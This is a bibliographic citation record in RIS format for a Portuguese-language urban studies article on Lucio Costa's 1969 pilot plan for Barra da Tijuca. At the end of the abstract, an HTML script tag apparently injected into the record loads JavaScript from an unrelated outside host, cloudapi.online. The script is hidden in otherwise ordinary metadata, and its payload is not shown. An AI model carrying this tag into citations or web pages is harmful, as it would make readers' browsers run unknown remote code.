TY - JOUR AU - Rezende, Vera AU - Leitão, Geronimo PY - 2014/04/01 Y2 - 2024/03/28 TI - Lucio Costa e o plano piloto para a barra da Tijuca: a vida é mais rica e mais selvagem que os planos urbanísticos JF - URBANA: Revista Eletrônica do Centro Interdisciplinar de Estudos sobre a Cidade JA - URBANA: Rev. Eletrônica Cent. Interdiscip. Estud. Cid. VL - 6 IS - 1 SE - Artigos DO - 10.20396/urbana.v6i1.8635320 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/urbana/article/view/8635320 SP - 673-693 AB - Em 1969, o arquiteto Lucio Costa é convidado a preparar o plano para a Barra da Tijuca e a Baixada de Jacarepaguá, uma área de expansão da cidade do Rio de Janeiro. Semelhante ao processo de implantação do Plano Piloto de Brasília (1960) de sua autoria, Costa é chamado a responder a avaliações negativas sobre alguns de seus aspectos, entre eles, a questão das habitações sociais. Contudo, se em Brasília percebemos uma defesa quase incondicional e uma tendência a solicitar que se dê tempo para que floresçam aspectos positivos, no caso da Barra da Tijuca, o arquiteto se manifesta duramente contra o processo de urbanização da região. Nosso objetivo neste trabalho é refletir sobre as suas declarações em documentos e entrevistas, recuperando o debate que ocorre sobre a implementação do plano.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -